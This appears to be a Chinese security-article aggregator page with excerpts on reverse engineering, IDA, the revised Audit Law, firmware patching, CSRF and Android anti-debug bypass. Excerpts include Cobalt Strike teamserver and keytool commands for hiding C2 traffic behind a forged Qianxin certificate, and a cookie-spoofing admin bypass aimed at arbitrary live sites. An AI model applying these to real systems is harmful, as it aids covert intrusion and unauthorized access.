二进制破解科普系列第三课 逆向工程

二进制破解科普系列第三课

零、前言本系列为二进制破解科普系列教程。教程面向新手爱好者,欢迎大家探讨、建议,大牛轻喷。壹、准备工作1.Patchpatch也就是我们平时所说的补丁。所谓给程序打补丁就是我们对程序破解所进行的修改,就是说像我们衣服破了,如果没有打补丁,就会走光的意思。OllyDBG的“p”可以查看所有打过的补丁。贰、破解继上节课我们的爆破程序第二节的时候,我们知道程序的爆破,在这里,我们接着上节课的脚本来简单做一个逆向算法的课程。有些实现跳转处与未实现跳转处的修改,我就不做一一的详细解答,看下面的图片就行第一处修改:同样把Z为0第二处:第三处修改:把S=1改为S=0其实下面已经是算法的判定:004010AE   .  85C0          test eax,eax004010B0      75 02         jnz short reverseM.004010B4004010B2   .  EB 43         jmp short reverseM.004010F7004010B4   >  33DB          xor ebx,ebx004010B6   .  33F6          xor esi,esi004010B8   .  833D 73214000>cmp dword ptr ds:,0x10004010BF      7C 36         jl short reverseM.004010F7004010C1   >  8A83 1A214000 mov al,byte ptr ds:004010C7   .  3C 00         cmp al,0x0004010C9   .  74 08         je short reverseM.004010D3004010CB   .  3C 47         cmp al,0x47004010CD   .  75 01         jnz short reverseM.004010D0004010CF   .  46            inc esi004010D0   >  43            inc ebx004010D1   .^ EB EE         jmp short reverseM.004010C1004010D3   >  83FE 08       cmp esi,0x8004010D6      7C 1F         jl short reverseM.004010F7004010D8   .  E9 28010000   jmp reverseM.00401205首先分析上面的代码:ds:402173的值是否等于10.查看402173可以看到是ReadFile 的参数,可以查找readfile的参数值,找出对应的参数函数意思。(LPDWORD address of numbeer of bytes read)如果ds:,0X10 小于16的short 004010F7就进行调转,跳密钥不合法处。当程序走到ebx+0x40211A ,ebx是指偏离使用的,这里的ebx的值等于0。这里的话,他mov 到al ,对相应的值进行比较。 当cmp esi 0x8 >8 的话,程序正常,当cmp esi 0x8 <8的话,说明跳转还是失败。也会生成一个密钥文件,叫做Keyfile.dat cmp al,0x47 47是16进制assic码的G 然后对应的密钥就破解成功,如下图所示:程序下载链接:http://pan.baidu.com/s/1qXzqmxm 密码:8tck本文作者:whitecell-club.org  Wens0n文章欢迎转载,转载请保留作者与出处    本文始发于微信公众号(WhiteCellClub):二进制破解科普系列第三课
阅读全文
安卓逆向面试题汇总 技术篇(4) ida快捷键相关 移动安全

安卓逆向面试题汇总 技术篇(4) ida快捷键相关

        因为相信, 所以看见         首发安全客 链接:https://www.anquanke.com/post/id/246020文章太长 所以分7个部分发出来。这一篇是第4个部分01G :跳转到指定地址 G :跳转到指定地址02Shift + F12 字符串相关 Shift + F12:调出字符串窗口,用于字符串搜索03Y 修改类型 声明 Y:修改变量类型修改函数返回值类型修改函数参数类型  把void * 改成了 int修改函数参数个数  这里把3个参数改成了一个,适用于ida识别错的情况下,手动纠正参数数量。04  x 查看引用 X : 查看函数名引用查看变量引用  在定位算法的时候 用x查看关键变量的引用也是很有效的一种方式查看常量引用  同样可以按X查看常量的引用  定位一些字符串到底在哪个函数还是蛮好用的05  ctrl +s  查看节表 Ctrl+S:查看节表有时候看so有没有加壳,先看节表结构是否正常。关于作者:一个乙方安全公司搬砖的菜鸡,移动安全从业者。最近忙着找女票,忙着在b站当扑街up主。b站/公众号 :  移动安全王铁头  希望和大佬们一起学习,一起成长点个在看你最好看 本文始发于微信公众号(移动安全王铁头):安卓逆向面试题汇总 技术篇(4) ida快捷键相关
阅读全文
新《审计法》颁布:信息系统安全性、可靠性、经济性纳入国家审计 云安全

新《审计法》颁布:信息系统安全性、可靠性、经济性纳入国家审计

请点击上面  一键关注!内容来源:商密君,编辑:陈十九2021年10月23日,在中华人民共和国第十三届全国人民代表大会常务委员会第三十一次会议上,通过了《全国人民代表大会常务委员会关于修改<中华人民共和国审计法>的决定》,新审计法将于2022年1月1日起施行。其中,十八、将第三十二条改为第三十六条,修改为:“审计机关进行审计时,有权检查被审计单位的财务、会计资料以及与财政收支、财务收支有关的业务、管理等资料和资产,有权检查被审计单位信息系统的安全性、可靠性、经济性,被审计单位不得拒绝。”七、将第十四条改为第十六条,修改为:“审计机关和审计人员对在执行职务中知悉的国家秘密、工作秘密、商业秘密、个人隐私和个人信息,应当予以保密,不得泄露或者向他人非法提供。”十七、增加一条,作为第三十五条:“国家政务信息系统和数据共享平台应当按照规定向审计机关开放。二十一、将第三十六条改为第四十条,将第二款修改为:“审计机关通报或者公布审计结果,应当保守国家秘密、工作秘密、商业秘密、个人隐私和个人信息,遵守法律、行政法规和国务院的有关规定。”中华人民共和国主席令第一〇〇号 《全国人民代表大会常务委员会关于修改<中华人民共和国审计法>的决定》已由中华人民共和国第十三届全国人民代表大会常务委员会第三十一次会议于2021年10月23日通过,现予公布,自2022年1月1日起施行。中华人民共和国主席 习近平2021年10月23日  全国人民代表大会常务委员会关于修改《中华人民共和国审计法》的决定(2021年10月23日第十三届全国人民代表大会常务委员会第三十一次会议通过)第十三届全国人民代表大会常务委员会第三十一次会议决定对《中华人民共和国审计法》作如下修改:一、将第二条第一款分为两款,作为第一款、第二款,修改为:“国家实行审计监督制度。坚持中国共产党对审计工作的领导,构建集中统一、全面覆盖、权威高效的审计监督体系。“国务院和县级以上地方人民政府设立审计机关。”二、将第四条修改为:“国务院和县级以上地方人民政府应当每年向本级人民代表大会常务委员会提出审计工作报告。审计工作报告应当报告审计机关对预算执行、决算草案以及其他财政收支的审计情况,重点报告对预算执行及其绩效的审计情况,按照有关法律、行政法规的规定报告对国有资源、国有资产的审计情况。必要时,人民代表大会常务委员会可以对审计工作报告作出决议。“国务院和县级以上地方人民政府应当将审计工作报告中指出的问题的整改情况和处理结果向本级人民代表大会常务委员会报告。”三、将第十一条修改为:“审计机关履行职责所必需的经费,应当列入预算予以保证。”四、增加一条,作为第十二条:“审计机关应当建设信念坚定、为民服务、业务精通、作风务实、敢于担当、清正廉洁的高素质专业化审计队伍。“审计机关应当加强对审计人员遵守法律和执行职务情况的监督,督促审计人员依法履职尽责。“审计机关和审计人员应当依法接受监督。”五、将第十二条改为第十三条,增加一款,作为第二款:“审计机关根据工作需要,可以聘请具有与审计事项相关专业知识的人员参加审计工作。”六、增加一条,作为第十四条:“审计机关和审计人员不得参加可能影响其依法独立履行审计监督职责的活动,不得干预、插手被审计单位及其相关单位的正常生产经营和管理活动。”七、将第十四条改为第十六条,修改为:“审计机关和审计人员对在执行职务中知悉的国家秘密、工作秘密、商业秘密、个人隐私和个人信息,应当予以保密,不得泄露或者向他人非法提供。”八、将第十八条第二款、第二十条、第二十一条合并,作为第二十二条,修改为:“审计机关对国有企业、国有金融机构和国有资本占控股地位或者主导地位的企业、金融机构的资产、负债、损益以及其他财务收支情况,进行审计监督。“遇有涉及国家财政金融重大利益情形,为维护国家经济安全,经国务院批准,审计署可以对前款规定以外的金融机构进行专项审计调查或者审计。”九、将第二十二条改为第二十三条,修改为:“审计机关对政府投资和以政府投资为主的建设项目的预算执行情况和决算,对其他关系国家利益和公共利益的重大公共工程项目的资金管理使用和建设运营情况,进行审计监督。”十、将第二十三条改为第二十四条,修改为:“审计机关对国有资源、国有资产,进行审计监督。“审计机关对政府部门管理的和其他单位受政府委托管理的社会保险基金、全国社会保障基金、社会捐赠资金以及其他公共资金的财务收支,进行审计监督。”十一、增加一条,作为第二十六条:“根据经批准的审计项目计划安排,审计机关可以对被审计单位贯彻落实国家重大经济社会政策措施情况进行审计监督。”十二、增加一条,作为第二十八条:“审计机关可以对被审计单位依法应当接受审计的事项进行全面审计,也可以对其中的特定事项进行专项审计。”十三、增加一条,作为第三十条:“审计机关履行审计监督职责,发现经济社会运行中存在风险隐患的,应当及时向本级人民政府报告或者向有关主管机关、单位通报。”十四、将第二十八条改为第三十一条,将第一款修改为:“审计机关根据被审计单位的财政、财务隶属关系或者国有资源、国有资产监督管理关系,确定审计管辖范围。”将第三款修改为:“上级审计机关对其审计管辖范围内的审计事项,可以授权下级审计机关进行审计,但本法第十八条至第二十条规定的审计事项不得进行授权;上级审计机关对下级审计机关审计管辖范围内的重大审计事项,可以直接进行审计,但是应当防止不必要的重复审计。”十五、将第二十九条改为第三十二条,修改为:“被审计单位应当加强对内部审计工作的领导,按照国家有关规定建立健全内部审计制度。“审计机关应当对被审计单位的内部审计工作进行业务指导和监督。”十六、将第三十一条改为第三十四条,修改为:“审计机关有权要求被审计单位按照审计机关的规定提供财务、会计资料以及与财政收支、财务收支有关的业务、管理等资料,包括电子数据和有关文档。被审计单位不得拒绝、拖延、谎报。“被审计单位负责人应当对本单位提供资料的及时性、真实性和完整性负责。“审计机关对取得的电子数据等资料进行综合分析,需要向被审计单位核实有关情况的,被审计单位应当予以配合。”十七、增加一条,作为第三十五条:“国家政务信息系统和数据共享平台应当按照规定向审计机关开放。“审计机关通过政务信息系统和数据共享平台取得的电子数据等资料能够满足需要的,不得要求被审计单位重复提供。”十八、将第三十二条改为第三十六条,修改为:“审计机关进行审计时,有权检查被审计单位的财务、会计资料以及与财政收支、财务收支有关的业务、管理等资料和资产,有权检查被审计单位信息系统的安全性、可靠性、经济性,被审计单位不得拒绝。”十九、将第三十三条改为第三十七条,将第三款修改为:“审计机关有证据证明被审计单位违反国家规定将公款转入其他单位、个人在金融机构账户的,经县级以上人民政府审计机关主要负责人批准,有权查询有关单位、个人在金融机构与审计事项相关的存款。”二十、将第三十四条改为第三十八条,将第一款修改为:“审计机关进行审计时,被审计单位不得转移、隐匿、篡改、毁弃财务、会计资料以及与财政收支、财务收支有关的业务、管理等资料,不得转移、隐匿、故意毁损所持有的违反国家规定取得的资产。”二十一、将第三十六条改为第四十条,将第二款修改为:“审计机关通报或者公布审计结果,应当保守国家秘密、工作秘密、商业秘密、个人隐私和个人信息,遵守法律、行政法规和国务院的有关规定。”二十二、将第三十七条改为第四十一条,修改为:“审计机关履行审计监督职责,可以提请公安、财政、自然资源、生态环境、海关、税务、市场监督管理等机关予以协助。有关机关应当依法予以配合。”二十三、将第三十八条改为第四十二条,将第一款修改为:“审计机关根据经批准的审计项目计划确定的审计事项组成审计组,并应当在实施审计三日前,向被审计单位送达审计通知书;遇有特殊情况,经县级以上人民政府审计机关负责人批准,可以直接持审计通知书实施审计。”二十四、将第三十九条改为第四十三条,修改为:“审计人员通过审查财务、会计资料,查阅与审计事项有关的文件、资料,检查现金、实物、有价证券和信息系统,向有关单位和个人调查等方式进行审计,并取得证明材料。“向有关单位和个人进行调查时,审计人员应当不少于二人,并出示其工作证件和审计通知书副本。”二十五、将第四十一条改为第四十五条,修改为:“审计机关按照审计署规定的程序对审计组的审计报告进行审议,并对被审计单位对审计组的审计报告提出的意见一并研究后,出具审计机关的审计报告。对违反国家规定的财政收支、财务收支行为,依法应当给予处理、处罚的,审计机关在法定职权范围内作出审计决定;需要移送有关主管机关、单位处理、处罚的,审计机关应当依法移送。“审计机关应当将审计机关的审计报告和审计决定送达被审计单位和有关主管机关、单位,并报上一级审计机关。审计决定自送达之日起生效。”二十六、将第四十三条改为第四十七条,修改为:“被审计单位违反本法规定,拒绝、拖延提供与审计事项有关的资料的,或者提供的资料不真实、不完整的,或者拒绝、阻碍检查、调查、核实有关情况的,由审计机关责令改正,可以通报批评,给予警告;拒不改正的,依法追究法律责任。”二十七、将第四十四条改为第四十八条,修改为:“被审计单位违反本法规定,转移、隐匿、篡改、毁弃财务、会计资料以及与财政收支、财务收支有关的业务、管理等资料,或者转移、隐匿、故意毁损所持有的违反国家规定取得的资产,审计机关认为对直接负责的主管人员和其他直接责任人员依法应当给予处分的,应当向被审计单位提出处理建议,或者移送监察机关和有关主管机关、单位处理,有关机关、单位应当将处理结果书面告知审计机关;构成犯罪的,依法追究刑事责任。”二十八、增加一条,作为第五十二条:“被审计单位应当按照规定时间整改审计查出的问题,将整改情况报告审计机关,同时向本级人民政府或者有关主管机关、单位报告,并按照规定向社会公布。“各级人民政府和有关主管机关、单位应当督促被审计单位整改审计查出的问题。审计机关应当对被审计单位整改情况进行跟踪检查。“审计结果以及整改情况应当作为考核、任免、奖惩领导干部和制定政策、完善制度的重要参考;拒不整改或者整改时弄虚作假的,依法追究法律责任。”二十九、将第四十九条改为第五十四条,修改为:“被审计单位的财政收支、财务收支违反国家规定,审计机关认为对直接负责的主管人员和其他直接责任人员依法应当给予处分的,应当向被审计单位提出处理建议,或者移送监察机关和有关主管机关、单位处理,有关机关、单位应当将处理结果书面告知审计机关。”三十、将第二十五条改为第五十八条,修改为:“领导干部经济责任审计和自然资源资产离任审计,依照本法和国家有关规定执行。”三十一、将第五十三条改为第五十九条,修改为:“中国人民解放军和中国人民武装警察部队审计工作的规定,由中央军事委员会根据本法制定。“审计机关和军队审计机构应当建立健全协作配合机制,按照国家有关规定对涉及军地经济事项实施联合审计。”三十二、将第十七条中的“预算执行情况和其他财政收支情况”修改为“预算执行情况、决算草案以及其他财政收支情况”;将第三十条中的“审计机关审计监督对象”、第四十条中的“被审计对象”修改为“被审计单位”;将第三十四条第三款、第三十五条、第四十五条、第四十六条、第四十七条第二款中的“主管部门”修改为“主管机关、单位”;将第三十五条中的“有权处理的机关”修改为“有权处理的机关、单位”;将第四十五条第四项中的“会计制度”修改为“财务、会计制度”;将第四十七条第二款中的“被审计单位上缴”修改为“被审计单位缴纳”,“将结果书面通知审计机关”修改为“将处理结果书面告知审计机关”;将第五十二条中的“泄露”修改为“泄露、向他人非法提供”,“国家秘密、商业秘密”修改为“国家秘密、工作秘密、商业秘密、个人隐私和个人信息”。本决定自2022年1月1日起施行。《中华人民共和国审计法》根据本决定作相应修改并对条文顺序作相应调整,重新公布。《新审计》法逐条对比解读「天億网络安全」 知识星球 一个网络安全学习的星球!星球主要分享、整理、原创编辑等网络安全相关学习资料,一个真实有料的网络安全学习平台,大家共同学习、共同进步!知识星球定价:199元/年,(服务时间为一年,自加入日期顺延一年)。如何加入:扫描下方二维码,扫码付费即可加入。加入知识星球的同学,请加我微信,拉您进VIP交流群!朋友都在看▶️等保2.0丨2021 必须了解的40个问题▶️等保2.0 三级 拓扑图+设备套餐+详解▶️等保2.0 二级 拓扑图+设备套餐+详解▶️等保2.0 测评  二级系统和三级系统多长时间测评一次?▶️等保2.0系列安全计算环境之数据完整性、保密性测评▶️等保医疗|全国二级、三乙、三甲医院信息系统安全防护设备汇总▶️国务院:不符合网络安全要求的政务信息系统未来将不给经费▶️等级保护、风险评估和安全测评三者的区别▶️分保、等保、关保、密码应用对比详解▶️汇总 | 2020年发布的最重要网络安全标准(下载)天億网络安全【欢迎收藏分享到朋友圈,让更多朋友了解网络安全,分享也是一种美德!】↑↑↑长按图片识别二维码关註↑↑↑欢迎扫描关注【天億网络安全】公众号,及时了解更多网络安全知识 原文始发于微信公众号(天億网络安全):新《审计法》颁布:信息系统安全性、可靠性、经济性纳入国家审计
阅读全文
Cobalt_Strike_4.4 去除流量特征+批量上线 安全工具

Cobalt_Strike_4.4 去除流量特征+批量上线

不久之前,本公众号分享了CS4.4源码,国外黑客经过对源码加工编译,目前已经成功编译成CS4.4可用版本 ,修复命令行日志问题,去除屏幕截图、键盘记录自动退出暗桩后基本可以 无障碍使用,今天来总结一下CS4.4去除流量特征+批量上线操作。默认情况下,没有做流量混淆的CS会被防火墙拦截流量,所以经常会看到CS上线了机器但是进行任何操作都没有反应。CS流量混淆一般有两种方法,一种更改teamserver 里面与CS流量相关的内容,一种是利用Keytool工具生成新的store证书。修改分为三个步骤:1. 修改默认端口,这里我们修改成123452. 去除store证书特征,特征修改成QAXNB3. 修改profile,修改默认配置0x01 修改默认端口编辑teamserver文件,更改server port部分 12345# start the team server.java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=12345 -Dcobaltstrike.server_bindto=0.0.0.0 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=QAXNB -server -XX:+AggressiveHeap -XX:+UseParallelGC -Xms512M -Xmx1024M -classpath ./cobaltstrike.jar server.TeamServer $*0x02 去除store证书特征查看证书,默认密码123456keytool -list -v -keystore cobaltstrike.store可以看到默认证书有很明显的cs特征的,比如 Alias name Owner Issuer 字段Keytool是一个Java的证书管理工具,Keytool可以生成一个store证书。# keytool -h非法选项: -h密钥和证书管理工具命令: -certreq 生成证书请求 -changealias 更改条目的别名 -delete 删除条目 -exportcert 导出证书 -genkeypair 生成密钥对 -genseckey 生成密钥 -gencert 根据证书请求生成证书 -importcert 导入证书或证书链 -importpass 导入口令 -importkeystore 从其他密钥库导入一个或所有条目 -keypasswd 更改条目的密钥口令 -list 列出密钥库中的条目 -printcert 打印证书内容 -printcertreq 打印证书请求的内容 -printcrl 打印 CRL 文件的内容 -storepasswd 更改密钥库的存储口令使用 "keytool -command_name -help" 获取 command_name 的用法使用以下命令生成一个新的store证书,-alias 和 -dname 可以自由发挥,也可以用其他的来混淆流量。keytool -keystore ./cobaltstrike.store -storepass QAXNB -keypass QAXNB -genkey -keyalg RSA -alias cobaltstrike -dname "CN=www.qianxin.com, OU=北京奇安信科技有限公司, O=运维部, L=北京, S=北京, C=CN"参数 含义 -alias 指定别名-storepass 指定更改密钥库的存储口令-keypass pass 指定更改条目的密钥口令-keyalg 指定算法-dname 指定所有者信息查询新证书当然也可以编辑 teamserver 文件来生成证书# generate a certificate # naturally you're welcome...
阅读全文
Cobalt_Strike_4.4 去除流量特征+批量上线【补充】 安全工具

Cobalt_Strike_4.4 去除流量特征+批量上线【补充】

不久之前,本公众号分享了CS4.4源码,国外黑客经过对源码加工编译,目前已经成功编译成CS4.4可用版本 ,修复命令行日志问题,去除屏幕截图、键盘记录自动退出暗桩后基本可以 无障碍使用,今天来总结一下CS4.4去除流量特征+批量上线操作。     默认情况下,没有做流量混淆的CS会被防火墙拦截流量,所以经常会看到CS上线了机器但是进行任何操作都没有反应。CS流量混淆一般有两种方法,一种更改teamserver 里面与CS流量相关的内容,一种是利用Keytool工具生成新的store证书。   修改分为三个步骤:   1. 修改默认端口,这里我们修改成123452. 去除store证书特征,特征修改成QAXNB3. 修改profile,修改默认配置   0x01 修改默认端口   编辑teamserver文件,更改server port部分 12345 # start the team server.java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=12345 -Dcobaltstrike.server_bindto=0.0.0.0 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=QAXNB -server -XX:+AggressiveHeap -XX:+UseParallelGC -Xms512M -Xmx1024M -classpath ./cobaltstrike.jar server.TeamServer $*   0x02 去除store证书特征   查看证书,默认密码123456   keytool -list -v -keystore cobaltstrike.store   可以看到默认证书有很明显的cs特征的,比如 Alias name Owner Issuer 字段     Keytool是一个Java的证书管理工具,Keytool可以生成一个store证书。   # keytool -h非法选项: -h密钥和证书管理工具 命令: -certreq 生成证书请求 -changealias 更改条目的别名 -delete 删除条目 -exportcert 导出证书 -genkeypair 生成密钥对 -genseckey 生成密钥 -gencert 根据证书请求生成证书 -importcert 导入证书或证书链 -importpass 导入口令 -importkeystore 从其他密钥库导入一个或所有条目 -keypasswd 更改条目的密钥口令 -list 列出密钥库中的条目 -printcert 打印证书内容 -printcertreq 打印证书请求的内容 -printcrl 打印 CRL 文件的内容 -storepasswd 更改密钥库的存储口令 使用 "keytool -command_name -help" 获取 command_name 的用法   使用以下命令生成一个新的store证书,-alias 和 -dname 可以自由发挥,也可以用其他的来混淆流量。   keytool -keystore ./cobaltstrike.store -storepass QAXNB...
阅读全文
卡信卡系统Cookie欺骗漏洞 安全文章

卡信卡系统Cookie欺骗漏洞

随便找个网站测试http://********.com/默认后台:********admin/y/index.php涉及cookie 少不了菜刀 也可以用其他工具 或者通过浏览器修改。右键扩展功能修改cookieCNZZDATA1259946497=124692960-1478521460-%7C1478521460; Hm_lvt_115e433882222b0f53b463a9e5f56158=1478521379; PHPSESSID=8t81234d8dd41d6d57k9f802c1; safedog-flow-item=24C0A6ADA504129F8EAEB6DE3784D063把cookie修改成这个 本文始发于微信公众号(飓风网络安全):卡信卡系统Cookie欺骗漏洞
阅读全文
手把手教你修改二进制固件引导顺序 逆向工程

手把手教你修改二进制固件引导顺序

壹、前言本文将讲解通过动态分析固件程序来读取启动顺序的具体步骤。贰、实验流程A.在固件的设置界面中设置启动顺序为依次启动设备A和启动设备B。B.通过单步进入和单步跳过等方法来追踪固件程序读取固件启动顺序的函数和将启动顺序列表值写入内存中的函数,及内存的物理地址;C.修改固件启动顺序为硬盘和光驱;D.反复执行A~C操作,确定固件程序读取固件启动顺序的函数和写入内存中的函数。叁、修改过程通过以上逐步调试,首先找到固件程序中的CD19标识之后在调用CD19指令前的代码逐步设断点,找到了把启动顺序相关信息写进内存的函数和代码当执行该函数后,启动顺序的相关内容被写进内存,如图3所示。通过分析发现,启动设备顺序相关信息被写入内存的段地址:偏移地址 = F000:5F00。   读取固件启动顺序列表和写启动顺序相关信息入内存中的函数为:F000:01AF    E8941D             call near16ptr 1f46当把启动顺序值写入内存成功后,固件程序执行返回指令,根据启动顺序的值去调用启动设备对应的函数。当执行完返回指令后语句后,内存不允许被修改: 肆、嵌入代码在确定了固件写启动顺序进内存的函数之后,我们需要分析写进内存的启动顺序相关信息的特征码含义:当启动顺序列表为启动设备A、启动设备B时。其内存中对应的值为:F000:5F00  0200 00 01 48 48 01 00 4343当启动顺序列表为启动设备B、启动设备A时,内存对应的值为:F000:5F00  0200 00 00 48 48 01 01 4343(经过实验分析知:其中,0002表示启动设备数,00表示第一个启动设备,01表示第二启动顺序,4848表示启动设备A;01表示第二个启动设备,00表示第一启动顺序,4343表示启动设备B。)在分析清楚写进内存的启动顺序特征码的具体含义之后,我们也就找到了固件启动顺序的漏洞所在,接下来我们可以考虑做如下实验:在固件程序将固件启动顺序相关信息读取写入内存之后,我们先让计算机去执行我们嵌入的修改启动设备顺序的代码,然后再执行返回指令,出现预期实验结果。根据启动顺序相关信息特征码编写好用来修改启动顺序的汇编源文件,编译成可执行程序之后截取有效代码部分:在二进制文件嵌入该代码。同时在写启动顺序入内存函数call   near16 ptr 1f46调用完成之后,增加一个跳转,转而去执行我们的代码,如图10所示。在我们的代码执行完成之后才去执行固件读取启动设备顺序的函数。执行完修改启动顺序的代码后内存F000:5F00中的值已经被修改,即启动顺序已经被我们修改:实验成功!本文作者:whitecell-lab  _D_D_文章欢迎转载,转载请保留作者与出处。 本文始发于微信公众号(WhiteCellClub):手把手教你修改二进制固件引导顺序
阅读全文
CSRF跨站请求伪造 安全博客

CSRF跨站请求伪造

CSRF(跨站请求伪造)概述Cross-site request forgery 简称为“CSRF”,在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为”one click”攻击。 很多人搞不清楚CSRF的概念,甚至有时候会将其和XSS混淆,更有甚者会将其和越权问题混为一谈,这都是对原理没搞清楚导致的。 这里列举一个场景解释一下,希望能够帮助你理解。 场景需求: 小黑想要修改大白在购物网站tianxiewww.xx.com上填写的会员地址。 先看下大白是如何修改自己的密码的: 登录—修改会员信息,提交请求—修改成功。 所以小黑想要修改大白的信息,他需要拥有:1,登录权限 2,修改个人信息的请求。 但是大白又不会把自己xxx网站的账号密码告诉小黑,那小黑怎么办? 于是他自己跑到www.xx.com上注册了一个自己的账号,然后修改了一下自己的个人信息(比如:E-mail地址),他发现修改的请求是: 【http://www.xxx.com/[email protected]&Change=Change】 于是,他实施了这样一个操作:把这个链接伪装一下,在小白登录xxx网站后,欺骗他进行点击,小白点击这个链接后,个人信息就被修改了,小黑就完成了攻击目的。 为啥小黑的操作能够实现呢。有如下几个关键点: 1.www.xxx.com这个网站在用户修改个人的信息时没有过多的校验,导致这个请求容易被伪造; —因此,我们判断一个网站是否存在CSRF漏洞,其实就是判断其对关键信息(比如密码等敏感信息)的操作(增删改)是否容易被伪造。 2.小白点击了小黑发给的链接,并且这个时候小白刚好登录在购物网上; —如果小白安全意识高,不点击不明链接,则攻击不会成功,又或者即使小白点击了链接,但小白此时并没有登录购物网站,也不会成功。 —因此,要成功实施一次CSRF攻击,需要“天时,地利,人和”的条件。 当然,如果小黑事先在xxx网的首页如果发现了一个XSS漏洞,则小黑可能会这样做: 欺骗小白访问埋伏了XSS脚本(盗取cookie的脚本)的页面,小白中招,小黑拿到小白的cookie,然后小黑顺利登录到小白的后台,小黑自己修改小白的相关信息。 —所以跟上面比一下,就可以看出CSRF与XSS的区别:CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限,而XSS是直接盗取到了用户的权限,然后实施破坏。 因此,网站如果要防止CSRF攻击,则需要对敏感信息的操作实施对应的安全措施,防止这些操作出现被伪造的情况,从而导致CSRF。比如: –对敏感信息的操作增加安全的token; –对敏感信息的操作增加安全的验证码; –对敏感信息的操作实施安全的逻辑流程,比如修改密码时,需要先校验旧密码等。 FROM :https://ailumao.cn/ | Author:Ailumao相关推荐: BleedingTooth:Linux内核蓝牙漏洞译文声明:本文是翻译文章,文章原作者Andy Nguyen 原文地址:https://google.github.io/security-research/pocs/linux/bleedingtooth/writeup 概述 BleedingTooth是Li…
阅读全文
实战逆向修改手机内核支持调试、过反调试 移动安全

实战逆向修改手机内核支持调试、过反调试

前言当下,移动互联发展尤为迅速,还记得几年前大家还用着翻盖、滑盖、按键手机,如今按键越来越少,屏幕越来越大,功能越来越多,现在你可以没有电脑,但是你一定不会没有手机,移动安全暗地里发展的更为迅猛,没有人可以停滞不前……1、Android下常见反调试  0x1Java层反调试  0x2self-debugging反调试  0x3轮训检测反调试轮训检测反调试原理读取进程的/proc//status文件内的TracerPid字段的值判断当前进程或线程是否正在被调试status文件信息字段: (1)Name:进程名 (2)State:表示进程状态 (3)Tgid:线程组ID,一般指进程名 (4)Pid:线程ID,它的值和gettid函数的返回值相等 (5)PPid:父进程的进程ID (6)TracerPid:实现调试功能的进程ID,值为0 表示当前进程未被调试我们以调试模式启动一个应用看下我们用IDA附加后再看,TracerPid的值就是调试的进程PID0x4 反反调试思路  0x01动态调试时修改TracerPid字段值为0  0x02修改内核,让TracerPid字段值永远为0为了一劳永逸,本文将探讨修改内核的过反调试方法0x5而修改内核分为两种:  0x01下载Android源码自己修改后编译  0x02逆向Android内核修改刷机自己修改Android源码编译请参考:https://bbs.pediy.com/thread-213481.htm因为现在一般手机都是厂商定制的系统,所以本文将探讨逆向修改手机内核来达到过反调试的目的2、下载android4.4.4源码分析0x1下载git clone https://aosp.tuna.tsinghua.edu.cn/kernel/msm.gitgit branch -agit checkout remotes/origin/android-4.4大致目录如下0x2分析发现TracerPid的值来自于tpidTpid来自于task_pid_nr_ns发现是proc_pid_status调用了task_state,还记得我们是怎么读取进程的吗Cat /proc//status所以函数proc_pid_status调用了task_state函数,在task_state内联函数里面通过函数task_pid_nr_ns获取到TracerPid并且打印出来3、提取内核0x1确定位置Cd /dev/block/platform/Cd /dev/block/platform/7824900.sdhci/Cd /dev/block/platform/7824900.sdhci/by-nameLsls -l /dev/block/platform/7824900.sdhci/by-namelrwxrwxrwx root root 1973-05-20 16:10 boot -> /dev/block/mmcblk0p250x2提取内核dd if=/dev/block/mmcblk0p25 of=/data/local/tmp/[email protected]:/data/local/tmp # chmod 777 boot.imgadb pull /data/local/tmp/boot.img E:boot.img0x3解包内核使用bootimg解包boot.img查看解压出来的文件4、修改内核支持调试 ro.debuggableinitrd/default.prop文件ro.debuggable=0改为ro.debuggable=15、修改kernel文件0x1定位函数修改指令法复制一份kernel为zImage.gz查找十六进制1F 8B 08 00,删除前面的所有数据,使文件变成一个标准的gzip压缩文件解包的zImage就是内核二进制文件用IDA打开文件,设置处理器类型为ARM Little-endian设置ROM 起始地址和加载地址填0xc0008000在安卓root权限前提下,关闭符号屏蔽echo 0 > /proc/sys/kernel/kptr_restrict查看proc_pid_status函数地址cat /proc/kallsyms | grep proc_pid_statusc0235ef8 T proc_pid_status查看__task_pid_nr_ns函数地址cat /proc/kallsyms | grep __task_pid_nr_nsc0135d98 T __task_pid_nr_ns复制函数地址,在IDA中按G跳转如果出现这样的情况,可以右键,转换为C代码按G去c0235ef8,没有解析函数名,可按下P键强制解析函数 sub_C0235EF8(proc_pid_status)按G去c0135d98(task_pid_nr_ns),右键,交叉引用列表 搜索 sub_C0235EF8然后修改指令让TracerPid字段值为0不过不推荐这种方法,一个是对新手有难度,一个是哪怕同厂商的手机硬件和系统都有差别,不是很通用0x2修改输出字符法shift+f12,搜索TracerPid双击进去ROM:C0B57A23 DCB "TracerPid:",9,"%d",0xA   我们可以把TracerPid那一项的占位符%d,改成'0'因为'%d'是两个字符,所以我们可以改成'00',或者'0t'     0x C0B57A23 - 0xC0008000 = 0xB4FA23     010Editor打开zImage文件,Ctrl+G跳转到0xB4FA23处'0t'对应的十六进制就是:30 09,修改25 64为30 09重新打包成boot.img文件将修改后的zImage在Linux下用gzip压缩一下gzip -n -f -9 zImage同时打开原kernel文件和压缩好的zImage.gz,在zImage.gz中搜索1F 8B 08 000x40EB0x6043F6zImage.gz结束位置 + kernel中的1F8B0800位置 = 结束位置0x6043F7 + 0x40EB = 0x6084E2全选zImage.gz,从kernel中的1F8B0800位置替换到0x6084E2位置替换原先的kernel文件,重新生成新的boot.imgBootimg --repack-bootimg6、刷入新的内核0x1手机重启到bootloader模式adb reboot bootloader0x2刷入新的bootfastboot flash boot boot-new.img0x3重启fastboot reboot备注:如果手机开不了机,那么重新刷回老的内核fastboot flash...
阅读全文
为什么修改系统时间会导致一些软件出现故障 安全闲碎

为什么修改系统时间会导致一些软件出现故障

